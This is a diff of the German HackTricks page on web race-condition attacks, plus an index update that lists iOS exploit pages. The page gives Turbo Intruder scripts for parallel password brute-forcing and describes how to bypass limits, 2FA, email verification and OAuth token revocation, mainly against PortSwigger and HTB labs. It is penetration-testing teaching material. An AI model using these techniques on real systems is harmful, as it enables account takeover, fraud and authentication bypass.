Translated ['', 'src/pentesting-web/websocket-attacks.md', 'src/pentesti

src/SUMMARY.md

@@ -837,9 +837,14 @@
   - [WWW2Exec - GOT/PLT](binary-exploitation/arbitrary-write-2-exec/aw2exec-got-plt.md)
   - [WWW2Exec - \_\_malloc_hook & \_\_free_hook](binary-exploitation/arbitrary-write-2-exec/aw2exec-__malloc_hook.md)
 - [Common Exploiting Problems](binary-exploitation/common-exploiting-problems.md)
-- [Linux kernel exploitation - toctou](binary-exploitation/linux-kernel-exploitation/posix-cpu-timers-toctou-cve-2025-38352.md)
 - [Windows Exploiting (Basic Guide - OSCP lvl)](binary-exploitation/windows-exploiting-basic-guide-oscp-lvl.md)
-- [iOS Exploiting](binary-exploitation/ios-exploiting.md)
+- [iOS Exploiting](binary-exploitation/ios-exploiting/README.md)
+  - [ios CVE-2020-27950-mach_msg_trailer_t](binary-exploitation/ios-exploiting/CVE-2020-27950-mach_msg_trailer_t.md)
+  - [ios CVE-2021-30807-IOMobileFrameBuffer](binary-exploitation/ios-exploiting/CVE-2021-30807-IOMobileFrameBuffer.md)
+  - [ios Corellium](binary-exploitation/ios-exploiting/ios-corellium.md)
+  - [ios Heap Exploitation](binary-exploitation/ios-exploiting/ios-example-heap-exploit.md)
+  - [ios Physical UAF - IOSurface](binary-exploitation/ios-exploiting/ios-physical-uaf-iosurface.md)
+
 
 # 🤖 AI
 - [AI Security](AI/README.md)

src/pentesting-web/race-condition.md

@@ -3,56 +3,56 @@
 {{#include ../banners/hacktricks-training.md}}
 
 > [!WARNING]
-> Für ein tiefes Verständnis dieser Technik überprüfen Sie den Originalbericht unter [https://portswigger.net/research/smashing-the-state-machine](https://portswigger.net/research/smashing-the-state-machine)
+> Für ein tiefes Verständnis dieser Technik siehe den Originalreport unter [https://portswigger.net/research/smashing-the-state-machine](https://portswigger.net/research/smashing-the-state-machine)
 
 ## Verbesserung von Race Condition-Angriffen
 
-Die größte Hürde bei der Ausnutzung von Race Conditions besteht darin, sicherzustellen, dass mehrere Anfragen gleichzeitig bearbeitet werden, mit **sehr geringem Unterschied in ihren Verarbeitungszeiten—idealerweise weniger als 1ms**.
+Das Hauptproblem beim Ausnutzen von Race Conditions besteht darin sicherzustellen, dass mehrere Requests gleichzeitig verarbeitet werden, mit **sehr geringen Unterschieden in ihren Verarbeitungszeiten — idealerweise weniger als 1ms**.
 
-Hier finden Sie einige Techniken zur Synchronisierung von Anfragen:
+Im Folgenden finden Sie einige Techniken zum Synchronisieren von Anfragen:
 
-#### HTTP/2 Single-Packet-Angriff vs. HTTP/1.1 Last-Byte-Synchronisierung
+#### HTTP/2 Single-Packet Attack vs. HTTP/1.1 Last-Byte Synchronization
 
-- **HTTP/2**: Unterstützt das Senden von zwei Anfragen über eine einzige TCP-Verbindung, wodurch die Auswirkungen von Netzwerk-Jitter verringert werden. Aufgrund serverseitiger Variationen können jedoch zwei Anfragen möglicherweise nicht ausreichen, um einen konsistenten Race Condition-Exploits zu erzielen.
-- **HTTP/1.1 'Last-Byte Sync'**: Ermöglicht das Vorab-Senden der meisten Teile von 20-30 Anfragen, wobei ein kleines Fragment zurückgehalten wird, das dann zusammen gesendet wird, um eine gleichzeitige Ankunft am Server zu erreichen.
+- **HTTP/2**: Unterstützt das Senden von zwei Requests über eine einzige TCP-Verbindung, wodurch der Einfluss von Netzwerk-Jitter reduziert wird. Aufgrund serverseitiger Unterschiede reichen jedoch zwei Requests möglicherweise nicht aus, um einen konsistenten Race-Condition-Exploit zu erzielen.
+- **HTTP/1.1 'Last-Byte Sync'**: Ermöglicht das Vorversenden der meisten Teile von 20–30 Requests und das Zurückhalten eines kleinen Fragments, das dann gemeinsam gesendet wird, wodurch eine gleichzeitige Ankunft am Server erreicht wird.
 
-**Die Vorbereitung für Last-Byte Sync** umfasst:
+**Preparation for Last-Byte Sync** involves:
 
-1. Senden von Headern und Bodendaten ohne das letzte Byte, ohne den Stream zu beenden.
-2. Eine Pause von 100ms nach dem ersten Senden.
-3. Deaktivierung von TCP_NODELAY, um Nagle's Algorithmus für das Batchen der letzten Frames zu nutzen.
+1. Header und Body-Daten ohne das letzte Byte senden, ohne den Stream zu beenden.
+2. Nach dem ersten Senden eine Pause von 100 ms einlegen.
+3. TCP_NODELAY deaktivieren, um Nagle's algorithm zum Bündeln der finalen Frames zu nutzen.
 4. Pingen, um die Verbindung aufzuwärmen.
 
-Das anschließende Senden der zurückgehaltenen Frames sollte zu ihrer Ankunft in einem einzigen Paket führen, was über Wireshark überprüfbar ist. Diese Methode gilt nicht für statische Dateien, die typischerweise nicht in RC-Angriffen involviert sind.
+Das anschließende Senden der zurückgehaltenen Frames sollte dazu führen, dass sie in einem einzigen Paket ankommen, nachweisbar mit Wireshark. Diese Methode gilt nicht für statische Dateien, die normalerweise nicht bei RC-Angriffen verwendet werden.
 
-### Anpassung an die Serverarchitektur
+### Anpassung an die Server-Architektur
 
-Das Verständnis der Architektur des Ziels ist entscheidend. Front-End-Server könnten Anfragen unterschiedlich weiterleiten, was die Zeitmessung beeinflusst. Eine präventive serverseitige Verbindungsaufwärmung durch unbedeutende Anfragen könnte die Anfragetiming normalisieren.
+Das Verständnis der Architektur des Ziels ist entscheidend. Frontend-Server können Requests unterschiedlich weiterleiten, was das Timing beeinflusst. Ein vorzeitiges serverseitiges Aufwärmen der Verbindung durch belanglose Requests kann das Request-Timing normalisieren.
 
-#### Umgang mit sitzungsbasiertem Locking
+#### Umgang mit sessionbasierter Sperrung
 
-Frameworks wie PHPs Sitzungs-Handler serialisieren Anfragen nach Sitzung, was potenziell Schwachstellen verschleiern kann. Die Verwendung unterschiedlicher Sitzungstoken für jede Anfrage kann dieses Problem umgehen.
+Frameworks wie PHP's session handler serialisieren Requests pro Session, was Schwachstellen verbergen kann. Die Nutzung unterschiedlicher session tokens für jede Anfrage kann dieses Problem umgehen.
 
-#### Überwindung von Rate- oder Ressourcenlimits
+#### Umgehen von Rate- oder Ressourcen-Limits
 
-Wenn das Aufwärmen der Verbindung nicht effektiv ist, könnte das absichtliche Auslösen von Verzögerungen durch die Rate- oder Ressourcenlimits von Webservern durch eine Flut von Dummy-Anfragen den Single-Packet-Angriff erleichtern, indem eine serverseitige Verzögerung induziert wird, die für Race Conditions förderlich ist.
+Wenn das Aufwärmen der Verbindung nicht wirksam ist, kann das gezielte Auslösen von Rate- oder Ressourcen-Limit-Verzögerungen des Webservers durch eine Flut von Dummy-Requests den single-packet attack erleichtern, indem eine serverseitige Verzögerung erzeugt wird, die für Race Conditions förderlich ist.
 
-## Angriffsbeispiele
+## Attack Examples
 
-- **Tubo Intruder - HTTP2 Single-Packet-Angriff (1 Endpunkt)**: Sie können die Anfrage an **Turbo intruder** (`Extensions` -> `Turbo Intruder` -> `Send to Turbo Intruder`) senden, Sie können den Wert, den Sie für **`%s`** brute-forcen möchten, in der Anfrage ändern, wie in `csrf=Bn9VQB8OyefIs3ShR2fPESR0FzzulI1d&username=carlos&password=%s` und dann **`examples/race-single-packer-attack.py`** aus dem Dropdown-Menü auswählen:
+- **Tubo Intruder - HTTP2 single-packet attack (1 endpoint)**: Sie können die Anfrage an **Turbo intruder** senden (`Extensions` -> `Turbo Intruder` -> `Send to Turbo Intruder`), im Request den Wert ändern, den Sie für **`%s`** brute-forcen möchten, z. B. `csrf=Bn9VQB8OyefIs3ShR2fPESR0FzzulI1d&username=carlos&password=%s` und dann im Dropdown **`examples/race-single-packer-attack.py`** auswählen:
 
 <figure><img src="../images/image (57).png" alt=""><figcaption></figcaption></figure>
 
-Wenn Sie **verschiedene Werte senden** möchten, könnten Sie den Code mit diesem ändern, der eine Wortliste aus der Zwischenablage verwendet:
+Wenn Sie unterschiedliche Werte senden möchten, können Sie den Code wie folgt anpassen, sodass eine Wortliste aus der Zwischenablage verwendet wird:
 ```python
 passwords = wordlists.clipboard
 for password in passwords:
 engine.queue(target.req, password, gate='race1')
 ```
 > [!WARNING]
-> Wenn das Web kein HTTP2 unterstützt (nur HTTP1.1), verwenden Sie `Engine.THREADED` oder `Engine.BURP` anstelle von `Engine.BURP2`.
+> Wenn die Website HTTP2 nicht unterstützt (nur HTTP1.1), verwende `Engine.THREADED` oder `Engine.BURP` anstelle von `Engine.BURP2`.
 
-- **Tubo Intruder - HTTP2 Einzelpaketangriff (Mehrere Endpunkte)**: Falls Sie eine Anfrage an 1 Endpunkt senden müssen und dann mehrere an andere Endpunkte, um die RCE auszulösen, können Sie das Skript `race-single-packet-attack.py` mit etwas wie folgt ändern:
+- **Tubo Intruder - HTTP2 single-packet attack (Several endpoints)**: Wenn du einen request an 1 endpoint senden musst und anschließend mehrere an andere endpoints, um die RCE auszulösen, kannst du das Skript `race-single-packet-attack.py` wie folgt ändern:
 ```python
 def queueRequests(target, wordlists):
 engine = RequestEngine(endpoint=target.endpoint,
@@ -83,16 +83,16 @@ engine.queue(confirmationReq, gate=currentAttempt)
 # send all the queued requests for this attempt
 engine.openGate(currentAttempt)
 ```
-- Es ist auch in **Repeater** über die neue Option '**Send group in parallel**' in Burp Suite verfügbar.
-- Für **limit-overrun** könntest du einfach die **gleiche Anfrage 50 Mal** in die Gruppe hinzufügen.
-- Für **connection warming** könntest du **am Anfang** der **Gruppe** einige **Anfragen** an einen nicht statischen Teil des Webservers **hinzufügen**.
-- Um den Prozess **zwischen** der Verarbeitung **einer Anfrage und einer anderen** in 2 Subzuständen zu verzögern, könntest du **zusätzliche Anfragen zwischen** beiden Anfragen **hinzufügen**.
-- Für eine **multi-endpoint** RC könntest du die **Anfrage** senden, die **in den versteckten Zustand** geht, und dann **50 Anfragen** direkt danach, die **den versteckten Zustand ausnutzen**.
+- Es ist auch in **Repeater** via der neuen '**Send group in parallel**' Option in Burp Suite verfügbar.
+- Für **limit-overrun** kannst du einfach **same request 50 times** zur Gruppe hinzufügen.
+- Für **connection warming** kannst du **add** am **beginning** der **group** einige **requests** an einen nicht-statischen Bereich des Webservers senden.
+- Für **delaying** des Prozesses **between** der Verarbeitung **one request and another** in a 2 substates steps, könntest du **add extra requests between** beide **requests**.
+- Für ein **multi-endpoint** RC könntest du damit beginnen, die **request** zu senden, die in den **hidden state** geht, und direkt danach **50 requests**, die **exploits the hidden state**.
 
 <figure><img src="../images/image (58).png" alt=""><figcaption></figcaption></figure>
 
-- **Automatisiertes Python-Skript**: Das Ziel dieses Skripts ist es, die E-Mail eines Benutzers zu ändern, während es kontinuierlich überprüft, bis der Bestätigungstoken der neuen E-Mail an die letzte E-Mail ankommt (das liegt daran, dass im Code ein RC gesehen wurde, bei dem es möglich war, eine E-Mail zu ändern, aber die Bestätigung an die alte zu senden, weil die Variable, die die E-Mail angibt, bereits mit der ersten gefüllt war).\
-Wenn das Wort "objetivo" in den empfangenen E-Mails gefunden wird, wissen wir, dass wir den Bestätigungstoken der geänderten E-Mail erhalten haben und beenden den Angriff.
+- **Automated python script**: Das Ziel dieses Skripts ist es, die E-Mail eines Benutzers zu ändern und sie kontinuierlich zu verifizieren, bis das Verifizierungstoken der neuen E-Mail an die alte E-Mail geliefert wird (das passiert, weil im Code eine RC auftrat, bei der es möglich war, eine E-Mail zu ändern, aber die Verifizierung an die alte gesendet wurde, da die Variable, die die E-Mail angab, bereits mit der ersten gefüllt war).\
+Wenn das Wort "objetivo" in den empfangenen E-Mails gefunden wird, wissen wir, dass wir das Verifizierungstoken der geänderten E-Mail erhalten haben, und beenden den Angriff.
 ```python
 # https://portswigger.net/web-security/race-conditions/lab-race-conditions-limit-overrun
 # Script from victor to solve a HTB challenge
@@ -217,21 +217,21 @@ h2_conn.close_connection()
 
 response = requests.get(url, verify=False)
 ```
-### Verbesserung des Single Packet Angriffs
+### Verbesserung des Single Packet Attack
 
-In der ursprünglichen Forschung wird erklärt, dass dieser Angriff eine Grenze von 1.500 Bytes hat. In [**diesem Beitrag**](https://flatt.tech/research/posts/beyond-the-limit-expanding-single-packet-race-condition-with-first-sequence-sync/) wurde jedoch erklärt, wie es möglich ist, die 1.500-Byte-Beschränkung des Single Packet Angriffs auf die **65.535 B Fensterbeschränkung von TCP durch Verwendung von IP-Schichtfragmentierung** (Aufteilen eines einzelnen Pakets in mehrere IP-Pakete) zu erweitern und sie in unterschiedlicher Reihenfolge zu senden, was es ermöglichte, die Wiederzusammenführung des Pakets zu verhindern, bis alle Fragmente den Server erreicht hatten. Diese Technik ermöglichte es dem Forscher, 10.000 Anfragen in etwa 166 ms zu senden.
+In der ursprünglichen Forschung wird erklärt, dass dieser Angriff eine Grenze von 1.500 Bytes hat. Allerdings wurde in [**diesem Beitrag**](https://flatt.tech/research/posts/beyond-the-limit-expanding-single-packet-race-condition-with-first-sequence-sync/) erläutert, wie es möglich ist, die 1.500-Byte-Beschränkung des Single Packet Attack auf die **65.535 B Fensterbegrenzung von TCP durch Verwendung von Fragmentierung auf IP-Ebene** zu erweitern (ein einzelnes Packet in mehrere IP-Pakete aufzuteilen) und diese in unterschiedlicher Reihenfolge zu senden, wodurch das Reassemblieren des Packets verhindert wird, bis alle Fragmente den Server erreicht haben. Mit dieser Technik konnte der Forscher etwa 10.000 Requests in ca. 166 ms senden.
 
-Beachten Sie, dass diese Verbesserung den Angriff in RC, der Hunderte/Tausende von Paketen erfordert, um gleichzeitig anzukommen, zuverlässiger macht, aber auch einige Softwarebeschränkungen haben kann. Einige beliebte HTTP-Server wie Apache, Nginx und Go haben eine strenge Einstellung `SETTINGS_MAX_CONCURRENT_STREAMS` von 100, 128 und 250. Andere wie NodeJS und nghttp2 haben jedoch keine Begrenzung.\
-Das bedeutet im Grunde, dass Apache nur 100 HTTP-Verbindungen von einer einzelnen TCP-Verbindung berücksichtigt (was diesen RC-Angriff einschränkt).
+Beachte, dass obwohl diese Verbesserung den Angriff bei RC, die Hunderte/Tausende von Paketen erfordern, zuverlässiger macht, sie auch softwareseitige Einschränkungen haben kann. Einige populäre HTTP-Server wie Apache, Nginx und Go haben eine strikte `SETTINGS_MAX_CONCURRENT_STREAMS`-Einstellung von 100, 128 bzw. 250. Andere wie NodeJS und nghttp2 haben sie jedoch unbegrenzt.\
+Das bedeutet im Grunde, dass Apache nur 100 HTTP connections von einer einzigen TCP connection berücksichtigt (was diesen RC-Angriff einschränkt).
 
-Sie finden einige Beispiele, die diese Technik verwenden, im Repo [https://github.com/Ry0taK/first-sequence-sync/tree/main](https://github.com/Ry0taK/first-sequence-sync/tree/main).
+You can find some examples using this tehcnique in the repo [https://github.com/Ry0taK/first-sequence-sync/tree/main](https://github.com/Ry0taK/first-sequence-sync/tree/main).
 
 ## Raw BF
 
-Vor der vorherigen Forschung wurden einige Payloads verwendet, die einfach versuchten, die Pakete so schnell wie möglich zu senden, um eine RC zu verursachen.
+Before the previous research these were some payloads used which just tried to send the packets as fast as possible to cause a RC.
 
-- **Repeater:** Überprüfen Sie die Beispiele aus dem vorherigen Abschnitt.
-- **Intruder**: Senden Sie die **Anfrage** an **Intruder**, setzen Sie die **Anzahl der Threads** auf **30** im **Optionsmenü** und wählen Sie als Payload **Null-Payloads** und generieren Sie **30.**
+- **Repeater:** Siehe die Beispiele aus dem vorherigen Abschnitt.
+- **Intruder**: Sende die **request** an **Intruder**, setze die **number of threads** auf **30** im **Options menu**, wähle als Payload **Null payloads** und generiere **30.**
 - **Turbo Intruder**
 ```python
 def queueRequests(target, wordlists):
@@ -279,75 +279,75 @@ print(results)
 
 asyncio.run(main())
 ```
-## **RC Methodologie**
+## **RC-Methodik**
 
-### Limit-Überlauf / TOCTOU
+### Limit-overrun / TOCTOU
 
-Dies ist die grundlegendste Art von Race Condition, bei der **Schwachstellen** an Orten **auftreten**, die **die Anzahl der Male begrenzen, die Sie eine Aktion ausführen können**. Zum Beispiel, wenn der gleiche Rabattcode in einem Webshop mehrere Male verwendet wird. Ein sehr einfaches Beispiel findet sich in [**diesem Bericht**](https://medium.com/@pravinponnusamy/race-condition-vulnerability-found-in-bug-bounty-program-573260454c43) oder in [**diesem Bug**](https://hackerone.com/reports/759247)**.**
+Dies ist der grundlegendste Typ von race condition, bei dem **Schwachstellen** an Stellen entstehen, die die **Anzahl der Ausführungen einer Aktion begrenzen**. Zum Beispiel die mehrfache Verwendung desselben Rabattcodes in einem Webshop. Ein sehr einfaches Beispiel findet sich in [**this report**](https://medium.com/@pravinponnusamy/race-condition-vulnerability-found-in-bug-bounty-program-573260454c43) oder in [**this bug**](https://hackerone.com/reports/759247)**.**
 
-Es gibt viele Variationen dieser Art von Angriff, einschließlich:
+Es gibt viele Variationen dieses Angriffs, darunter:
 
-- Mehrfaches Einlösen einer Geschenkkarte
-- Mehrfaches Bewerten eines Produkts
-- Abheben oder Überweisen von Bargeld über Ihr Kontoguthaben hinaus
-- Wiederverwendung einer einzelnen CAPTCHA-Lösung
-- Umgehen einer Anti-Brute-Force-Rate-Limitierung
+- Eine Geschenkkarte mehrfach einlösen
+- Ein Produkt mehrfach bewerten
+- Bargeld abheben oder Überweisungen tätigen über den Kontostand hinaus
+- Eine einzelne CAPTCHA-Lösung mehrfach verwenden
+- Ein Anti-Brute-Force rate limit umgehen
 
 ### **Verborgene Subzustände**
 
-Das Ausnutzen komplexer Race Conditions beinhaltet oft, kurze Gelegenheiten zu nutzen, um mit verborgenen oder **unbeabsichtigten Maschinen-Subzuständen** zu interagieren. So gehen Sie vor:
+Das Ausnutzen komplexer race conditions beinhaltet oft das Ausnutzen kurzer Gelegenheiten, um mit verborgenen oder **ungewollten Maschinensubzuständen** zu interagieren. So gehen Sie vor:
 
-1. **Identifizieren Sie potenzielle verborgene Subzustände**
-- Beginnen Sie mit der Identifizierung von Endpunkten, die kritische Daten ändern oder damit interagieren, wie Benutzerprofile oder Passwortzurücksetzprozesse. Konzentrieren Sie sich auf:
-- **Speicherung**: Bevorzugen Sie Endpunkte, die serverseitige persistente Daten manipulieren, gegenüber denen, die Daten clientseitig verarbeiten.
-- **Aktion**: Suchen Sie nach Operationen, die vorhandene Daten ändern, da diese eher ausnutzbare Bedingungen schaffen als solche, die neue Daten hinzufügen.
-- **Schlüsselung**: Erfolgreiche Angriffe beinhalten normalerweise Operationen, die auf demselben Identifikator basieren, z.B. Benutzername oder Rücksetztoken.
-2. **Durchführen einer ersten Erkundung**
-- Testen Sie die identifizierten Endpunkte mit Race Condition-Angriffen und beobachten Sie Abweichungen von den erwarteten Ergebnissen. Unerwartete Antworten oder Änderungen im Anwendungsverhalten können auf eine Schwachstelle hinweisen.
-3. **Demonstrieren Sie die Schwachstelle**
-- Reduzieren Sie den Angriff auf die minimale Anzahl von Anfragen, die erforderlich sind, um die Schwachstelle auszunutzen, oft nur zwei. Dieser Schritt kann mehrere Versuche oder Automatisierung erfordern, aufgrund der präzisen Zeitplanung.
+1. **Potenzielle verborgene Subzustände identifizieren**
+- Beginnen Sie damit, Endpunkte zu identifizieren, die kritische Daten verändern oder damit interagieren, wie Benutzerprofile oder password reset processes. Konzentrieren Sie sich auf:
+- **Storage**: Bevorzugen Sie Endpunkte, die serverseitig persistente Daten manipulieren, gegenüber solchen, die Daten clientseitig verarbeiten.
+- **Action**: Suchen Sie nach Operationen, die bestehende Daten ändern, da diese eher ausnutzbare Zustände erzeugen als solche, die neue Daten hinzufügen.
+- **Keying**: Erfolgreiche Angriffe beinhalten normalerweise Operationen, die auf denselben Identifier abstellen, z. B. username oder reset token.
+2. **Erste Überprüfungen durchführen**
+- Testen Sie die identifizierten Endpunkte mit race condition-Angriffen und beobachten Sie Abweichungen von den erwarteten Ergebnissen. Unerwartete Antworten oder Änderungen im Anwendungsverhalten können auf eine Schwachstelle hinweisen.
+3. **Die Schwachstelle demonstrieren**
+- Reduzieren Sie den Angriff auf die minimale Anzahl an Requests, die zum Ausnutzen der Schwachstelle nötig sind, oft nur zwei. Dieser Schritt kann aufgrund des präzisen Timings mehrere Versuche oder Automatisierung erfordern.
 
 ### Zeitkritische Angriffe
 
-Präzision bei der Zeitplanung von Anfragen kann Schwachstellen aufdecken, insbesondere wenn vorhersehbare Methoden wie Zeitstempel für Sicherheitstoken verwendet werden. Zum Beispiel könnte die Generierung von Passwortzurücksetztokens basierend auf Zeitstempeln identische Tokens für gleichzeitige Anfragen ermöglichen.
+Präzises Timing von Requests kann Schwachstellen aufdecken, besonders wenn vorhersehbare Methoden wie timestamps für security tokens verwendet werden. Beispielsweise kann das Generieren von password reset tokens basierend auf timestamps identische tokens für simultane Requests ermöglichen.
 
-**Um auszunutzen:**
+**Zum Ausnutzen:**
 
-- Verwenden Sie präzise Zeitplanung, wie einen einzelnen Paketangriff, um gleichzeitige Passwortzurücksetz-Anfragen zu stellen. Identische Tokens deuten auf eine Schwachstelle hin.
+- Verwenden Sie präzises Timing, z. B. einen single-packet Angriff, um gleichzeitige password reset requests zu senden. Identische tokens deuten auf eine Schwachstelle hin.
 
 **Beispiel:**
 
-- Fordern Sie zwei Passwortzurücksetztokens gleichzeitig an und vergleichen Sie sie. Übereinstimmende Tokens deuten auf einen Fehler in der Token-Generierung hin.
+- Fordern Sie zwei password reset tokens gleichzeitig an und vergleichen Sie sie. Übereinstimmende tokens deuten auf einen Fehler in der Token-Generierung hin.
 
-**Überprüfen Sie dies** [**PortSwigger Lab**](https://portswigger.net/web-security/race-conditions/lab-race-conditions-exploiting-time-sensitive-vulnerabilities) **um dies auszuprobieren.**
+**Schauen Sie sich** [**PortSwigger Lab**](https://portswigger.net/web-security/race-conditions/lab-race-conditions-exploiting-time-sensitive-vulnerabilities) **an, um dies auszuprobieren.**
 
 ## Fallstudien zu verborgenen Subzuständen
 
-### Bezahlen & ein Element hinzufügen
+### Bezahlen & einen Artikel hinzufügen
 
-Überprüfen Sie dieses [**PortSwigger Lab**](https://portswigger.net/web-security/logic-flaws/examples/lab-logic-flaws-insufficient-workflow-validation), um zu sehen, wie man im Geschäft **bezahlt** und **ein zusätzliches** Element **hinzufügt, für das Sie nicht bezahlen müssen**.
+Schauen Sie sich [**PortSwigger Lab**](https://portswigger.net/web-security/logic-flaws/examples/lab-logic-flaws-insufficient-workflow-validation) an, um zu sehen, wie man in einem Shop **bezahlt** und einen extra Artikel **hinzufügt**, für den man **nicht bezahlen muss**.
 
-### Bestätigen anderer E-Mails
+### Andere E-Mails bestätigen
 
-Die Idee ist, **eine E-Mail-Adresse zu verifizieren und sie gleichzeitig in eine andere zu ändern**, um herauszufinden, ob die Plattform die neue geänderte Adresse überprüft.
+Die Idee ist, **eine E-Mail-Adresse zu verifizieren und sie gleichzeitig in eine andere zu ändern**, um herauszufinden, ob die Plattform die neue Adresse tatsächlich verifiziert.
 
-### Ändern der E-Mail auf 2 E-Mail-Adressen Cookie-basiert
+### E-Mail auf 2 Adressen ändern — cookie-basiert
 
-Laut [**dieser Forschung**](https://portswigger.net/research/smashing-the-state-machine) war Gitlab auf diese Weise anfällig für eine Übernahme, da es möglicherweise **das E-Mail-Bestätigungstoken einer E-Mail an die andere E-Mail** **sendet**.
+Laut [**this research**](https://portswigger.net/research/smashing-the-state-machine) war Gitlab auf diese Weise für eine Übernahme verwundbar, weil es möglicherweise **das E-Mail-Verifizierungs-Token einer Adresse an die andere E-Mail sendet**.
 
-**Überprüfen Sie dies** [**PortSwigger Lab**](https://portswigger.net/web-security/race-conditions/lab-race-conditions-single-endpoint) **um dies auszuprobieren.**
+**Schauen Sie sich** [**PortSwigger Lab**](https://portswigger.net/web-security/race-conditions/lab-race-conditions-single-endpoint) **an, um dies auszuprobieren.**
 
-### Verborgene Datenbankzustände / Bestätigungsumgehung
+### Verborgene Datenbankzustände / Bestätigungs-Bypass
 
-Wenn **2 verschiedene Schreibvorgänge** verwendet werden, um **Informationen** in eine **Datenbank** **hinzuzufügen**, gibt es einen kurzen Zeitraum, in dem **nur die ersten Daten in die Datenbank geschrieben wurden**. Zum Beispiel, wenn ein Benutzer erstellt wird, könnten der **Benutzername** und das **Passwort** **geschrieben** werden und **dann das Token**, um das neu erstellte Konto zu bestätigen. Das bedeutet, dass für einen kurzen Zeitraum das **Token zur Bestätigung eines Kontos null** ist.
+Wenn **2 verschiedene Schreibvorgänge** verwendet werden, um **Informationen** in eine **Datenbank** einzufügen, gibt es einen kurzen Zeitraum, in dem **nur die ersten Daten in der Datenbank geschrieben wurden**. Zum Beispiel, beim Erstellen eines Users könnten **username** und **password** geschrieben werden und erst danach wird **das token** zur Bestätigung des neu erstellten Accounts geschrieben. Das bedeutet, dass für kurze Zeit das **token zur Bestätigung eines Accounts null** ist.
 
-Daher könnte **die Registrierung eines Kontos und das Senden mehrerer Anfragen mit einem leeren Token** (`token=` oder `token[]=` oder jede andere Variation), um das Konto sofort zu bestätigen, es ermöglichen, ein **Konto zu bestätigen**, bei dem Sie die E-Mail nicht kontrollieren.
+Daher könnte das **Registrieren eines Accounts und das sofortige Senden mehrerer Requests mit einem leeren token** (`token=` oder `token[]=` oder eine andere Variation), um den Account sofort zu bestätigen, erlauben, einen Account zu **bestätigen**, dessen E-Mail man nicht kontrolliert.
 
-**Überprüfen Sie dies** [**PortSwigger Lab**](https://portswigger.net/web-security/race-conditions/lab-race-conditions-partial-construction) **um dies auszuprobieren.**
+**Schauen Sie sich** [**PortSwigger Lab**](https://portswigger.net/web-security/race-conditions/lab-race-conditions-partial-construction) **an, um dies auszuprobieren.**
 
-### Umgehung von 2FA
+### 2FA umgehen
 
-Der folgende Pseudocode ist anfällig für Race Conditions, da in einem sehr kurzen Zeitraum **2FA nicht durchgesetzt wird**, während die Sitzung erstellt wird:
+Der folgende Pseudo-Code ist gegenüber race condition verwundbar, weil in einem sehr kurzen Zeitraum die **2FA nicht durchgesetzt** wird, während die Session erstellt wird:
 ```python
 session['userid'] = user.userid
 if user.mfa_enabled:
@@ -355,24 +355,26 @@ session['enforce_mfa'] = True
 # generate and send MFA code to user
 # redirect browser to MFA code entry form
 ```
-### OAuth2 ewige Persistenz
+### OAuth2 dauerhafte Persistenz
 
-Es gibt mehrere [**OAUth-Anbieter**](https://en.wikipedia.org/wiki/List_of_OAuth_providers). Diese Dienste ermöglichen es Ihnen, eine Anwendung zu erstellen und Benutzer zu authentifizieren, die der Anbieter registriert hat. Um dies zu tun, muss der **Client** Ihrer Anwendung **erlauben**, auf einige ihrer Daten innerhalb des **OAUth-Anbieters** zuzugreifen.\
-Bis hierhin ist es nur ein gängiger Login mit google/linkedin/github..., bei dem Sie mit einer Seite konfrontiert werden, die sagt: "_Anwendung \<InsertCoolName> möchte auf Ihre Informationen zugreifen, möchten Sie dies erlauben?_"
+Es gibt mehrere [**OAUth providers**](https://en.wikipedia.org/wiki/List_of_OAuth_providers). Diese Dienste erlauben es Ihnen, eine Anwendung zu erstellen und Benutzer zu authentifizieren, die beim Provider registriert sind.\
+Dazu muss der **client** Ihrer **application** gestatten, auf einige ihrer Daten beim **OAUth provider** zuzugreifen.\
+Also, bis hierhin ist es einfach ein normales Login mit google/linkedin/github..., bei dem Ihnen eine Seite angezeigt wird, die sagt: "_Application \<InsertCoolName> möchte auf Ihre Informationen zugreifen, möchten Sie das erlauben?_" 
 
-#### Race Condition im `authorization_code`
+#### Race Condition in `authorization_code`
 
-Das **Problem** tritt auf, wenn Sie **es akzeptieren** und automatisch einen **`authorization_code`** an die bösartige Anwendung senden. Dann **missbraucht diese Anwendung eine Race Condition im OAUth-Dienstanbieter, um mehr als ein AT/RT** (_Authentication Token/Refresh Token_) aus dem **`authorization_code`** für Ihr Konto zu generieren. Grundsätzlich wird ausgenutzt, dass Sie die Anwendung akzeptiert haben, um auf Ihre Daten zuzugreifen, um **mehrere Konten zu erstellen**. Wenn Sie dann **aufhören, der Anwendung den Zugriff auf Ihre Daten zu erlauben, wird ein Paar von AT/RT gelöscht, aber die anderen bleiben weiterhin gültig**.
+Das **Problem** tritt auf, wenn Sie es **akzeptieren** und automatisch ein **`authorization_code`** an die bösartige **application** gesendet wird. Dann missbraucht diese **application** eine Race Condition im OAUth-Service-Provider, um aus dem **`authorization_code`** mehrere AT/RT (_Authentication Token/Refresh Token_) für Ihr Konto zu erzeugen. Im Grunde nutzt sie die Tatsache aus, dass Sie der Anwendung den Zugriff auf Ihre Daten erlaubt haben, um **mehrere Accounts zu erstellen**. Wenn Sie die Berechtigungen für die Anwendung dann **entziehen**, wird ein Paar AT/RT gelöscht, aber die anderen bleiben weiterhin gültig.
 
-#### Race Condition im `Refresh Token`
+#### Race Condition in `Refresh Token`
 
-Sobald Sie **ein gültiges RT erhalten haben**, könnten Sie versuchen, **es auszunutzen, um mehrere AT/RT zu generieren**, und **selbst wenn der Benutzer die Berechtigungen** für die bösartige Anwendung zum Zugriff auf seine Daten widerruft, **werden mehrere RTs weiterhin gültig sein.**
+Sobald Sie ein **gültiges RT erhalten haben**, könnten Sie versuchen, es zu **missbrauchen, um mehrere AT/RT zu erzeugen**, und **selbst wenn der Benutzer die Berechtigungen** für die bösartige **application** zum Zugriff auf seine Daten widerruft, **bleiben mehrere RTs weiterhin gültig.**
 
 ## **RC in WebSockets**
 
-In [**WS_RaceCondition_PoC**](https://github.com/redrays-io/WS_RaceCondition_PoC) finden Sie einen PoC in Java, um Websocket-Nachrichten **parallel** zu senden, um **Race Conditions auch in Web Sockets** auszunutzen.
+- In [**WS_RaceCondition_PoC**](https://github.com/redrays-io/WS_RaceCondition_PoC) finden Sie einen PoC in Java, um websocket-Nachrichten **parallel** zu senden und **Race Conditions auch in Web Sockets** auszunutzen.
